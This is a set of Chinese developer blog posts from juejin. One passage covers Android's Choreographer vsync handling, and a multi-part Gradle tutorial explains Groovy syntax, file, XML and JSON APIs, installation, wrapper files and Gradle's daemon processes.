    6. 第五层(Choreographer vsync机制)



    B同学:vsync机制感觉好高大上的样子?能给我讲讲吗


    我:这个东西比较底层了,我也太清楚,但是有一个比较取巧的理解方式。


    B同学:说来听听。


    我:观察者模式听过吧,vsync信号是由底层发出的。具体情况我不清楚,但是上层有个类监听vsync的信号,当接收到信号时,就会通过Choreographer向消息队列发送异步消息,这个消息的作用之一就是通知ViewRootImpl去执行测量,布局,绘制操作。



    //Choreographer.java
    private final class FrameDisplayEventReceiver extends DisplayEventReceiver
    implements Runnable {
    private boolean mHavePendingVsync;
    private long mTimestampNanos;
    private int mFrame;


    @Override
    public void onVsync(long timestampNanos, int builtInDisplayId, int frame) {

    //...省略其他代码
    long now = System.nanoTime();
    if (timestampNanos > now) {
    Log.w(TAG, "Frame time is " + ((timestampNanos - now) * 0.000001f)
    + " ms in the future! Check that graphics HAL is generating vsync "
    + "timestamps using the correct timebase.");
    timestampNanos = now;
    }

    if (mHavePendingVsync) {
    Log.w(TAG, "Already have a pending vsync event. There should only be "
    + "one at a time.");
    } else {
    mHavePendingVsync = true;
    }

    mTimestampNanos = timestampNanos;
    mFrame = frame;
    Message msg = Message.obtain(mHandler, this);
    msg.setAsynchronous(true);
    mHandler.sendMessageAtTime(msg, timestampNanos / TimeUtils.NANOS_PER_MS);
    }
    复制代码

    7. 第六层(绘制机制)


    ViewRootImpl和Choreographer是绘制机制的两大主角。他们负责功能如下。具体就不展开写了。




    作者:字节小站
    链接:https://juejin.cn/post/6952624592514973732
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(2)

    Groovy 语法 再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的。上面的 hello world 就是这么跑起来。Groovy 没啥难的,大家把他当做一个新的语言来学下就行,Groovy 本身比较简单也不用我们学习...
    继续阅读 »

    Groovy 语法


    再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的。上面的 hello world 就是这么跑起来。Groovy 没啥难的,大家把他当做一个新的语言来学下就行,Groovy 本身比较简单也不用我们学习的多深入,能基本使用就可以了,语法糖也没多少,最要的闭包明白就大成了。用的很少的专业一些的 API 大家 baidu 一下就出来了


    1. 不用写 ; 号


    一看这个就知道也是往高阶语言上靠 <( ̄3 ̄)> 表!,比较新的语言都这样,基本都是大同小异


    int name = 10
    int age = "AAA"
    复制代码

    2. 支持动态类型,但是必须用 def 前缀


    def name = 10
    def age = "AAA"

    name = "111"
    println(name)
    复制代码

    3. 没有基本数据类型了,全是包装类型


    Groovy 基于 java,所以 java 的基本数据类型都支持,但是 Groovy 中这些基本数据类型使用的都是包装类型:Integer、Boolean 等


    int index = 0
    println("index == "+index.class)
    复制代码


    4. 方法变化



    • 使用 def 修饰,方法可以不用指定返回类型、参数类型,直接返回最后一行。

    • 方法调用可以不写 (),最好还是加上()的好,要不真不好阅读

    • 实际上不管有没有返回值,Groovy 中返回的都是 Object 类型


    def to(x, y){
    x+y
    }

    def name = 10
    def age = 12

    name = to name,age

    println(name)
    复制代码

    5. 字符串变化


    Groovy 支持单、双、三引号来表示字符串${} 引用变量值,三引号是带输出格式的


    def world = 'world'
    def str1 = 'hello ${world}'
    def str2 = "hello ${world}"
    def str3 =
    '''hello
    &{world}'''
    复制代码

    6. 不用写 get/set


    Groovy ⾃动对成员属性创建 getter / setter,按照下面这个用法调用


    class Person{
    def name
    def age
    }

    Person person = new Person()
    person.name = "AA"
    person.setAge(123)
    person.@age = 128

    println(person.name + " / " + person.age)
    复制代码

    7. Class 类型,可以省略 .class


    8. 没有 ===


    Groovy 中 == 就是 equals,没有 === 了。而是用 .is() 代替,比较是不是同一个对象


    class Person {
    def name
    def age
    }

    Person person1 = new Person()
    Person person2 = new Person()
    person1.name = "AA"
    person2.name = "BB"

    println("person1.name == person2.name" + (person1.name == person2.name))
    println("person1 is person2" + person1.is(person2))
    复制代码

    9. 支持 xx次方运算符


    2 ** 3 == 8
    复制代码

    10. 三木运算符


    def result = name ?: ""
    复制代码

    11. 支持非空判断


    println order?.customer?.address
    复制代码

    12. Switch 变化


    def num = 5.21

    switch (num) {
    case [5.21, 4, "list"]:
    return "ok"
    break
    default:
    break
    }
    复制代码

    13. 集合类型


    Groovy 支持三种集合类型:



    • List --> 链表,对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类

    • Map --> 哈希表,对应 Java 中的 LinkedHashMap

    • Range --> 范围,它其实是 List 的一种拓展


    // --> list 
    def data = [666,123,"AA"]
    data[0] = "BB"
    data[100] = 33
    println("size --> " + data.size()) // 101个元素

    ----------------------我是分割线------------------------

    // --> map
    def key = "888"
    def data = ["key1": "value", "key2": 111, (key): 888] // 使用 () key 使用动态值

    data.key1
    data.["key1"]
    data.key2 = "new"

    def name2 = "name"
    def age2 = 578
    data.put(name2, age2)

    println("size --> " + data.size()) // 4
    println("map --> " + data) // [key1:value, key2:new, 888:888, name:578]
    println("key--> " + data.get(key)) // key--> 888

    ----------------------我是分割线------------------------

    // --> range
    def data = 1..10
    data.getFrom()
    data.to()

    println("size --> " + data.size())
    println("range --> " + data) // range --> 1..10
    复制代码

    14. 闭包



    这个是绝对重点,大家到这里认真学呀 (○` 3′○) 学会这个后面就容易理解了,后面都是闭包的应用



    闭包(Closure) 是 Groovy 最重要的语法糖了,我们把闭包当做高阶语法中的对象式函数就行了


    官方定义:Groovy中的闭包是一个开放,匿名的代码块,可以接受参数,返回值并分配给变量


    // 标准写法,method1 就是一个闭包 (>▽<)
    def method1 = { name,age ->
    name + age
    }

    // 调用方式
    method1.call(123,888)
    method1(123,888)

    // 默认有一个 it 表示单个参数
    def method3 = { "Hello World!$it" }

    // 强制不带参数
    def method2 = { ->
    name + age
    }

    // 作为方法参数使用
    def to(x, y,Closure closure) {
    x + y + closure(111)
    }
    复制代码

    后面大家会经常见到闭包的应用,比如这个自定义 task 任务


    task speak{
    doLast {
    println("AAA")
    }
    }
    复制代码

    举这个例子是为了说明,实际闭包都是嵌套很多层使用



    • speak 是个方法,接收一个闭包作为参数,整个外层 {...} 都是一个闭包

    • 外层闭包内 doLast 方法又接收一个闭包作为参数,内层 {...} 又是一个闭包




    通过这个例子大家搞清楚这个嵌套关系就好学了,实际就是一层套一层,有的插件写的我都看吐了


    Closure 这东西方便是方便,但是 Closure 里面传什么类型的参数,有几个参数
    这些可没有自动提示,想知道详细就得查文档了,这点简直不能忍,我想说官方就不能做过自动提示出来嘛~
    复制代码

    15. delegate 闭包委托


    这是 Gradle 闭包常见方式:


    class Person {
    String name
    int age
    }

    def cc = {
    name = "hanmeimei"
    age = 26
    }

    Person person = new Person()
    cc.call()
    复制代码

    cc 是闭包,cc.call() 调用闭包,cc.call(persen) 这是给闭包传入参数,我们换个写法:



    • cc.delegate = person 就相当于 cc.call(persen)


    这个写法就是:委托 了,没什么难理解的,我这里就是按照最简单的解释来


    至于为什么要有委托这种东西,必然是有需求的。我们写的都是 .gradle 脚本,这些脚本实际要编译成 .class 才能运行。也就是说代码实际上动态根据我们配置生成的,传参数也是动态的,委托这一特性就是为了动态生成代码、传参准备的


    后面很多 Gradle 中的插件,其 {...} 里面写配置其实走的都是委托这个思路


    举个常见的例子,Android {...} 代码块大家熟悉不熟悉,这个就是闭包嵌套,闭包里还有闭包 -->


    android {
    compileSdkVersion 25
    buildToolsVersion "25.0.2"

    defaultConfig {
    minSdkVersion 15
    targetSdkVersion 25
    versionCode 1
    versionName "1.0"
    }
    }
    复制代码

    16. 插件中使用 delegate + 闭包思路


    其实思路很简单,每一个 {...} 闭包都要有一个对应的数据 Bean 存储数据,在合适的时机 .delegate 即可



    1. 闭包定义


    def android = {
    compileSdkVersion 25
    buildToolsVersion "25.0.2"

    // 这个对应相应的方法
    defaultConfig {
    minSdkVersion 15
    targetSdkVersion 25
    versionCode 1
    versionName "1.0"
    }
    }
    复制代码


    1. 准备数据 Bean


    class Android {
    int mCompileSdkVersion
    String mBuildToolsVersion
    BefaultConfig mBefaultConfig

    Android() {
    this.mBefaultConfig = new BefaultConfig()
    }

    void defaultConfig(Closure closure) {
    closure.setDelegate(mProductFlavor)
    closure.setResolveStrategy(Closure.DELEGATE_FIRST)
    closure.call()
    }
    }

    class BefaultConfig {
    int mVersionCode
    String mVersionName
    int mMinSdkVersion
    int mTargetSdkVersion
    }
    复制代码


    1. .delegate 绑定数据


    Android bean = new Android()
    android.delegate = bean
    android.call()
    复制代码

    17. 一样需要 import 导入包、文件



    Groovy 常用 API


    1. xml 解析


    <response version-api="2.0">
    <value>
    <books>
    <book available="20" id="1">
    <title>Don Xijote</title>
    <author id="1">Manuel De Cervantes</author>
    </book>
    <book available="14" id="2">
    <title>Catcher in the Rye</title>
    <author id="2">JD Salinger</author>
    </book>
    <book available="13" id="3">
    <title>Alice in Wonderland</title>
    <author id="3">Lewis Carroll</author>
    </book>
    <book available="5" id="4">
    <title>Don Xijote</title>
    <author id="4">Manuel De Cervantes</author>
    </book>
    </books>
    </value>
    </response>
    复制代码

    1)xml 解析


    def xparser = new XmlSlurper()
    def targetFile = new File("test.xml")
    GPathResult gpathResult = xparser.parse(targetFile)

    def book4 = gpathResult.value.books.book[3]
    def author = book4.author
    author.text()
    author.@id
    author['@id']
    author.@id.toInteger()
    复制代码

    遍历 XML 数据


    def titles = response.depthFirst().findAll { book ->
    return book.author.text() == '李刚' ? true : false
    }

    def name = response.value.books.children().findAll { node ->
    node.name() == 'book' && node.@id == '2'
    }.collect { node ->
    return node.title.text()
    }

    复制代码

    2)获取 AndroidManifest 配置文件参数


    Gradle 解析 xml 的意义也就是 AndroidManifest 配置文件了,不难


    def androidManifest = new XmlSlurper().parse("./app/src/main/AndroidManifest.xml")
    def app = androidManifest.application
    println("value -->" + app.@"android:supportsRtl")
    复制代码

    3)生成 xml


    /**
    * 生成 xml 格式数据
    * <langs type='current' count='3' mainstream='true'>
    <language flavor='static' version='1.5'>Java</language>
    <language flavor='dynamic' version='1.6.0'>Groovy</language>
    <language flavor='dynamic' version='1.9'>JavaScript</language>
    </langs>
    */
    def sw = new StringWriter()
    // 用来生成 xml 数据的核心类
    def xmlBuilder = new MarkupBuilder(sw)
    // 根结点 langs 创建成功
    xmlBuilder.langs(type: 'current', count: '3',
    mainstream: 'true') {
    //第一个 language 结点
    language(flavor: 'static', version: '1.5') {
    age('16')
    }
    language(flavor: 'dynamic', version: '1.6') {
    age('10')
    }
    language(flavor: 'dynamic', version: '1.9', 'JavaScript')
    }

    // println sw

    def langs = new Langs()
    xmlBuilder.langs(type: langs.type, count: langs.count,
    mainstream: langs.mainstream) {
    //遍历所有的子结点
    langs.languages.each { lang ->
    language(flavor: lang.flavor,
    version: lang.version, lang.value)
    }
    }

    println sw

    // 对应 xml 中的 langs 结点
    class Langs {
    String type = 'current'
    int count = 3
    boolean mainstream = true
    def languages = [
    new Language(flavor: 'static',
    version: '1.5', value: 'Java'),
    new Language(flavor: 'dynamic',
    version: '1.3', value: 'Groovy'),
    new Language(flavor: 'dynamic',
    version: '1.6', value: 'JavaScript')
    ]
    }
    //对应xml中的languang结点
    class Language {
    String flavor
    String version
    String value
    }
    复制代码

    2. 解析 json


    def reponse = getNetworkData('http://yuexibo.top/yxbApp/course_detail.json')

    def getNetworkData(String url) {
    //发送http请求
    def connection = new URL(url).openConnection()
    connection.setRequestMethod('GET')
    connection.connect()
    def response = connection.content.text
    //将 json 转化为实体对象
    def jsonSluper = new JsonSlurper()
    return jsonSluper.parseText(response)
    }
    复制代码

    3. IO


    Gradle 中操作文件是比不可少的工作了,Grovvy IO API 大家一定要清楚


    1) 获取文件地址


    o(^@^)o 大家写插件、task 时获取项目地址这个点总是要会的,下面的代码不光可以使用 rootProject,每个脚本中的 Project 对象也可以使用的,path 和 absolutePath 都行


    println(rootProject.projectDir.path/absolutePath)
    println(rootProject.rootDir.path)
    println(rootProject.buildDir.path)

    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
    /Users/zbzbgo/worksaplce/flutter_app4/MyApplication22/build
    复制代码

    2) 文件定位


    思路就是把指定 path 加入当年项目的根路径中,再构建 File 对象使用


    //文件定位
    this.getContent("config.gradle", "build.gradle")

    // 不同与 new file 的需要传入 绝对路径 的方式
    // file 从相对于当前的 project 工程开始查找
    def mFiles = files(path1, path2)
    println mFiles[0].text + mFiles[1].text
    复制代码

    或者这样写也是可以的,会在相应的子项目目录下生成文件,这种不用写 this.getContent(XXX)


     def file = project.file(fileName)
    复制代码

    3)eachLine 一次读一行


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")

    fromFile.eachLine { String line ->
    println("line -->" + line)
    }
    复制代码

    line 的 API 还有好几个



    4)获取输入流、输出流


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")

    fromFile.withInputStream { InputStream ins ->
    ...... 这里系统会自动关闭流,不用我们自己关
    }

    def ins = fromFile.newInputStream()
    ins.close()
    复制代码

    5)<< 复制 文件


    Grovvy 的语法糖写起来的简便


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withInputStream { InputStream ins ->
    toFile.withOutputStream { OutputStream out ->
    out << ins
    }
    }
    复制代码

    6)<< copy API 复制文件


    copy {
    from file(rootProject.rootDir.path+"/build.gradle") // 源文件
    into rootProject.rootDir.path // 复制目标地址,这里不用带文件名

    exclude()
    rename { "build.gradle2" } // 复制后重命名,不写的话默认还是目标文件名
    }
    复制代码

    7)reader/writer


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withReader { reader ->
    def lines = reader.lines()
    toFile.withWriter { writer ->
    lines.each { line ->
    writer.writeLine(line)
    }
    }
    }
    复制代码

    8)Object


    File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
    File toFile = new File(rootProject.projectDir.path + "/build2.gradle")

    fromFile.withObjectInputStream { input ->
    toFile.withObjectOutputStream { out ->
    out.writeObject( input.readObject() )
    }
    }
    复制代码

    9)获取文件字节数组


    def file = new File(baseDir, 'test.txt')
    byte[] contents = file.bytes
    复制代码

    10)遍历文件树


    def dir = new File("/")
    //eachFile()方法返回该目录下的所有文件和子目录,不递归
    dir.eachFile { file ->
    println file.name
    }
    dir.eachFileMatch(~/.*\.txt/) {file ->
    println file.name
    }

    -------------------分割线-------------------

    def dir = new File("/")
    //dir.eachFileRecurse()方法会递归显示该目录下所有的文件和目录
    dir.eachFileRecurse { file ->
    println file.name
    }
    dir.eachFileRecurse(FileType.FILES) { file ->
    println file.name
    }

    -------------------分割线-------------------

    dir.traverse { file ->
    //如果当前文件是一个目录且名字是bin,则停止遍历
    if (file.directory && file.name=='bin') {
    FileVisitResult.TERMINATE
    //否则打印文件名字并继续
    } else {
    println file.name
    FileVisitResult.CONTINUE
    }
    }
    复制代码

    11)序列化


    boolean b = true
    String message = 'Hello from Groovy'
    def file = new File(baseDir, 'test.txt')
    // 序列化数据到文件
    file.withDataOutputStream { out ->
    out.writeBoolean(b)
    out.writeUTF(message)
    }
    // ...
    // 从文件读取数据并反序列化
    file.withDataInputStream { input ->
    assert input.readBoolean() == b
    assert input.readUTF() == message
    }
    复制代码

    12)程序中执行shell命令


    def process = "ls -l".execute()
    println(process)

    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(2)

    Gradle 安装 上文书 Gradle 运行在 JVM 之上, 因此需要 JDK1.8 或以上 java 环境 1. 下载 Gradle 版本 从 Gradle 官方上下载,地址:Gradle 官网下载地址,选择 .all 的包下载,我下的是 6.6.1,尽...
    继续阅读 »

    Gradle 安装


    上文书 Gradle 运行在 JVM 之上, 因此需要 JDK1.8 或以上 java 环境


    1. 下载 Gradle 版本


    从 Gradle 官方上下载,地址:Gradle 官网下载地址,选择 .all 的包下载,我下的是 6.6.1,尽量选择较新的版本



    2. 配置项目根目录 build.gradle 脚本文件 Gradle 工具版本号


    buildscript {

    repositories {
    google()
    jcenter()
    }
    dependencies {
    ...
    classpath 'com.android.tools.build:gradle:4.0.1'
    ...
    }
    }
    复制代码

    这里 Gradle 工具的版本号要跟着 AS 的版本号走,AS 是哪个版本,这里就写哪个版本。Gradle 工具中的 API 是给 AS 用的,自然要跟着 AS 的版本变迁


    当然这也会对 Gradle 构建工具版本有要求:



    • 第一,大家进来使用比较新的版本号

    • 第二,若是 Gradle 版本太低,编译时会有提示的,告诉你最低 Gradle 构建工具版本是多少


    3. 使用本地 Gradle 文件编译项目


    Gradle 拥有良好的兼容性,为了在没有 Gradle 环境的机器上也能顺利使用 Gradle 构建项目,AS 新创建的项目默认会在根目录下添加 wrapper 配置




    其中 gradle-wrapper.properties 文件中提供了该项目使用的 Gradle 构建工具远程下载地址,这里会对应一个具体的版本号,IDE 开发工具默认会根据这个路径去下载 Gradle 给该项目使用


    distributionUrl=https\://services.gradle.org/distributions/gradle-6.1.1-all.zip
    复制代码

    这样就会产生一个问题:



    • 每个项目单独管理自己的 gradle,很可能会造成机器上同时存在多个版本的 Gradle,进而存在多个版本的 Daemon 进程,这会造成机器资源吃紧,即便关闭 AS 开发工具也没用,只能重启机器才会好转



    所以这里我推荐,尤其是给使用 AS 的朋友推荐:在本地创建 Gradle 环境,统一管理 Gradle 构建工具,避免出现多版本同时运行的问题。AS 本身就很吃内存了,每一个 Daemon 构建进程起码都是 512M 内存起步的,多来几个 Daemon 进程,我这 8G 的 MAC 真的搂不住




    1. 打开 AS 中 Gradle 配置:





    • gradle-wrapper.properties -- 使用 wrapper 也就是 AS 来管理 Gradle

    • Specifiled location -- 使用本地文件,也就是我们自己管理 Gradle



    1. 在本地解压 Gradle 压缩包,记住路径,下面配 path 需要这样配置后,AS 会忽略 gradle-wrapper.properties 文件

    4. 配置 path


    这里只说 MAC 环境



    1. open -e .bash_profile 打开配置文件

    2. 添加 GRADLE_HOMEPATH


    export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
    export PATH=${PATH}:/Users/zbzbgo/gradle/gradle-6.6.1/bin

    ----------------官方写法如下--------------------------------

    export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
    export PATH=$PATH:$GRADLE_HOME/bin
    复制代码


    1. source .bash_profile 重置配置文件,以便新 path 生效

    2. open -e ~/.zshrc 打开另一个配置

    3. 在最后一行添加 source ~/.bash_profile

    4. source ~/.zshrc 重置配置文件


    配置 zshrc 是因为有的机器 bash_profile 配置不管用,添加这个就行了


    5. 测试 Gradle 安装是否成功


    运行 gradle --version,出现版本号则 Gradle 配置成功


    6. 执行一次 Gradle 命令


    学习新语言我们都喜欢来一次 hello world,这里我们也来一次


    随便创建一个文件夹,在其中创建一个文件,以.gradle结尾,使用 text 编辑器打开,输入:


    println("hello world!")
    复制代码

    然后 gradle xxx.gradle 执行该文件



    OK,成功,大家体验一下,groovy 是种语言,gradle 是种构建工具,可以编译 .gradle 文件

    Gradle init 初始化命令


    我们平时都是用 AS 开发的,AS 创建 Android 项目时默认就会把 Gradle 相关文件都创建出来。其实 Gradle 和 git 一样,也提供了 init 初始化方法,创建相关文件


    运行 init 命令要选择一些参数,其过程如下:



    1. 创建一个文件夹,cd 到该目录,执行 gradle init 命令

    2. 命令行提示选择项目模板

    3. 命令行提示选择开发语言

    4. 命令行提示选择脚本语言

    5. 输入工程名

    6. 输入资源名




    了解 Gradle Wrapper 文件

    上面虽然说了用 AS 开发我们最好使用本地 Gradle 文件的方式统一配置、管理 Gradle 构建工具,但是 AS Android 项目中的 Wrapper 文件夹的内容还是有必要了解一下的,这可以加深我们对 Gradle 下载、管理的了解



    Gradle Wrapper 文件的作用就是可以让你的电脑在不安装配置 Gradle 环境的前提下运行 Gradle 项目,你的机器要是没有配 Gradle 环境,那么你 clone gradle 项目下来,执行 init 命令,会根据 gradle-wrapper.properties 文件中声明的 gradle URL 远程路径去下载 gradle 构建工具,cd 进该项目



    • gradle -v --> linux 平台命令

    • gradlew -v --> window 平台命令


    然后就可以在项目目录下运行 gradle 命令了,不过还是推荐大家在机器配置统一的 Gradle 环境



    • gradlew --> linux 平台脚本

    • gradlew.bat --> window 平台脚本

    • gradle-wrapper.jar --> Gradle 下载、管理相关代码

    • gradle-wrapper.properties --> Gradle 下载、管理配置参数


    gradle-wrapper.properties 文件中参数详解:



    • distributionUrl --> Gradle 压缩包下载地址

    • zipStoreBase --> 本机存放 Gradle 压缩包主地址

    • zipStorePath --> 本机存放 Gradle 压缩包主路径

      • Gradle 压缩包完整的路径是 zipStoreBase + zipStorePath



    • distributionBase --> 本机 Gradle 压缩包解压后主地址

    • distributionPath --> 本机 Gradle 压缩包解压后路径

      • Gradle 解压完整的路径是 distributionBase + distributionPath

      • distributionBase 的路径是环境 path 中 GRADLE_USER_HOME 的地址

      • Windows:C:/用户/你电脑登录的用户名/.gradle/

      • MAC:~/.gradle/

      • 你 MAC 要是配了 Gradle 环境变量,distributionBase 就是你自己解压缩的 gradle 路径




    这几个地址还是要搞清楚的~

    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

    Gradle 爬坑指南 -- 概念初解、Grovvy 语法、常见 API(1)

    理解 Gradle、Groovy 对于拦路虎、大 Boss,理论先于实际。手握理论的浮尘,方能遇坑过坑、遇水搭桥 (๑•̀ㅂ•́)و✧ 1. 什么是构建工具 简单的说就是自动化的编译、打包程序 我们来回忆一下,入门 java 那会,大家都写过 Hello Wr...
    继续阅读 »

    理解 Gradle、Groovy


    对于拦路虎、大 Boss,理论先于实际。手握理论的浮尘,方能遇坑过坑、遇水搭桥 (๑•̀ㅂ•́)و✧


    1. 什么是构建工具


    简单的说就是自动化的编译、打包程序


    我们来回忆一下,入门 java 那会,大家都写过 Hello Wrold!吧。然后老师让我们干啥,javac 编译, java 运行。在这里编译需要我们手动执行一次 javac,大家想过没有,要是有100个文件呢?那我们就得手动 100次 javac 编译指令


    到这里大家都会想到自动化吧,是的,自动化编译工具就是最早的构建工具了。然后我们拓展其功能,比如说:



    • 100个文件,编译后我要分10个文件夹保存

    • 哎呀,文件夹不好使了,别人要我提供 .jar 文件

    • 我去,产品加功能了,要加入 C++ 文件进来,C、java 文件要一起编译

    • 产品要有展示图片,还要有声音,多媒体资源也要加进来

    • 业务拓展了好几个渠道,每一个渠道都要提供一个定制化的 .jar 出来

    • 业务拓展了,要全平台了,win、android、ios 都要支持


    上面都是我臆想的,不过我觉得发展的历程大同小异。随着需求叠加、平台扩展,对代码最终产品也是有越来越多的要求。jar/aar/exe 这些打包时有太多的不一样,我们是人不是机器,不可能记得住的这些差异不同。那就必须依靠自动化技术、工具,要能支持平台、需求等方面的差异、能添加自定义任务的、专门的用来打包生成最终产品的一个程序、工具,这个就是构建工具。构建工具本质上还是一段代码程序


    我这样说是想具体一点,让大家有些代入感好理解构建工具是什么。就像下图,麦子就是我们的代码、资源等,草垛就是最终打包出来的成品,机器就是构建工具。怎么打草垛我们不用管,只要我们会用机器就行了

    打包也没什么神奇的,就是根据不同平台的要求,怎么把烂七八糟的都装一块,和妹子们出门前收拾衣服打包装箱一样。打包的目的是减少文件体积,方便安装,任何打包出来的安装包,本质都是一个压缩包

    2. Gradle 也是一种构建工具



    Android 项目这么多东西,既有我们自己写的 java、kotlin、C++、Dart 代码,也有系统自己的 java、C++ 代码,还有引入的第三方代码,还有图片、音乐、视频文件,这么多代码、资源打包成 APK 文件肯定要有一个规范,干这个活的就是我们熟悉的 gradle 了


    APK 文件我们解压可以看到好多文件和文件夹,具体不展开了


    不用把 Gradle 想的太难了,Gradle 就是帮我们打包生成 apk 的一个程序。难点的在于很灵活,我们可以在其中配置、声明参数、执行自己写的脚本、甚至导入自己的写的插件,来完成我们自定义的额外的任务。但是不要本末倒置,Gradle 就是帮我们打包 APK 的一个工具罢了


    下面3段话大家理解下,我觉得说的都挺到位的,看过后面还可以翻回来看这3句话,算是对 Gradle 的总结性文字了,很好~



    Gradle 是通用构建、打包程序,可以支持 java、web、android 等项目,具体到你的平台怎么打包,还得看你引入的什么插件,插件会具体按照我们平台的要求去编译、打包。比如我引入的:apply plugin: 'com.android.application',我导入的是 android 编译打包插件,那么最终会生成 APK 文件,就是这样。我引入的:apply plugin: 'com.android.library' android lib 库文件插件,那么最终会生成 aar 文件




    Gradle中,每一个待编译的工程都叫一个Project。每一个Project在构建的时候都包含一系列的Task。比如一个Android APK的编译可能包含:Java源码编译Task、资源编译Task、JNI编译Task、lint检查Task、打包生成APK的Task、签名Task等。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西




    Gradle是一个框架,作为框架,它负责定义流程和规则。而具体的编译工作则是通过插件的方式来完成的。比如编译Java有Java插件,编译Groovy有Groovy插件,编译Android APP有Android APP插件,编译Android Library有Android Library插件。Gradle中每一个待编译的工程都是一个Project,一个具体的编译过程是由一个一个的Task来定义和执行的。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西

    3. Gradle 是个程序、Groovy 是特定领域 DSL 语言



    • Gradle 是运行在 JVM 实例上的一个程序,内部使用 Groovy 语言

    • Groovy 是一种 JVM 上的脚本语言,基于 java 扩展的动态语言


    Gradle 简单来说就是在运行在 JVM 上的一个程序罢了,虽然其使用的是 Groovy 这种脚本语言,但是 Gradle 会把 .gradle Groovy 脚本编译成 .class java字节码文件在 JVM 上运行,最终还是 java 这套东西


    Android 项目里 settings.gradle、诸多build.gradle 脚本都会编译成对应的 java 类:SettingProject 再去运行,引入的插件也是会编译成对应的 java 对象再执行构建任务


    Gradle 内部是一个个编译、打包、处理资源的函数或者插件(函数库),可以说 Gradle 其实就是 API 集合,和我们日常使用的 Okhttp 框架没什么区别,里面都是一个个 API,区别是干的活不同罢了


    打开 Gradle 文件目录看看,核心的 bin 文件就一个 gradle 脚本,这个脚本就是 Gradle 核心执行逻辑了,他会启动一个 JVM 实例去加载 lib 中的各种函数去构建项目,这么看 gradle 其实很简单、不难理解




    红框里的是 Gradle 自带的内置插件,apply plugin: 'com.android.library'apply plugin: 'com.android.application' 这些都是 gradle 自带的内置插件



    19 年 Gradle 提供了中国区 CDN,AS 下载 Gradle 不再慢的和蜗牛一样了




    Gradle JVM 进程


    Gradle 构建工具在不同场景下会分别使用3个 JVM 进程:



    • client

    • Daemon

    • wrapper


    来自Gradle开发团队的Gradle入门教程 --> 官方宣传中这里解释的很清楚,比官方文档都清楚的多


    1. client 进程


    client 进程是个轻量级进程,每次构建开始都会创建这个进程,构建结束会销毁这个进程。client 进程的任务是查找并和 Daemon 进程通信:



    • Daemon 进程没启动,client 进程会启动一个新的 Daemon 进程

    • Daemon 进程已经存在了,client 进程就给 Daemon 进程传递本次构建相关的参数和任务,然后接收 Daemon 进程发送过来的日志


    gradle.properties 里面设置的参数,全局 init.gradle 初始化脚本的任务这些都需要 client 进程传递给 Daemon 进程


    2. Daemon 进程


    Daemon 进程负责具体的构建任务。我们使用 AS 打包 APK 这依靠的不是 AS 这个 IDEA 开发工具,而是 Gradle 构建工具自己启动的、专门的一个负责构建任务的进程:Daemon。每一个版本的 Gradle 都会对应创建一个 Daemon 进程


    Daemon 进程不依赖 AS 而是独立存在,是一个守护进程,构建结束 Daemon 进程也不会销毁,而是会休眠,等待下一次构建,这样做是为了节省系统资源,加快构建速度,Daemon 进程会缓存插件、依赖等资源


    必须注意: 每一个 Gradle 版本都会对应一个 Daemon 进程,机器内若是运行过多个版本的 Gradle,那么机器内就会存在多个 Daemon 进程,AS 开发 android 项目,我推荐使用 Gradle 本地文件,不依靠每个 android 项目中 wrapper 管理 gradle 版本,具体后面会说明


    从性能上讲:



    • Gradle 在 JVM 上运行,会使用一些支持库,这些库都需要初始化时间,一个长期存在的后台进程有利于节省编译时间

    • daemon 进程会跨构建缓存一些插件、库等缓存数据,这样对加快构建速度的确非常有意义


    gradle --status 命令可以查看已启动的 daemon 进程情况:


    ➜  ~ jps
    39554 KotlinCompileDaemon
    39509 GradleDaemon
    39608
    39675 Jps
    ➜ ~ gradle --status
    PID STATUS INFO
    39509 IDLE 6.6.1

    // INFO 是 gradle 版本号
    // Kotlin 语言编写的 Gradle 脚本需要一个新的 daemon 进程出来
    复制代码

    若是机器内已经启动了多个 Daemon 进程也不要紧,自己手动杀进程就是了


    Daemon 进程在以下情况时会失效,需要启动新的 Daemon 进程,判断 Daemon 进程是否符合要求是上面说的 client 进程的任务:



    • 修改 JVM 配置这回造成启动新的构建进程

    • Gradle 将杀死任何闲置了3小时或更长时间的守护程序

    • 一些环境变量的变化,如语言、keystore、keyStorePassword、keyStoreType 这些变化都会造成旧有的守护进程失效


    即便时同一个版本的 Gradle,也会因为 VM 配置不同而存在多个相同 Gradle 版本的 Daemon 进程。比如同时启动好几个项目,项目之间使用的 Gradle 版本相同,但是 VM 使用的不同配置


    wrapper 进程



    wrapper 进程啥也不干,不参与项目构建,唯一任务就是负责下载管理 Gradle 版本。我们导入 Gradle 项目进来,client 进程发现所需版本的 Gradle 本机没有,那么就会启动 wrapper 进程,根据 gradle.properties 里面的参数去自行 gradle-wrapper.jar 里面的下载程序去下载 Gradle 文件


    其他开发工具,我们直接使用 wrapper 来管理 Gradle 的话也是会启动 wrapper 进程的,完事 wrapper 进程会关闭



    作者:前行的乌龟
    链接:https://juejin.cn/post/6888977881679495175
    来源:掘金
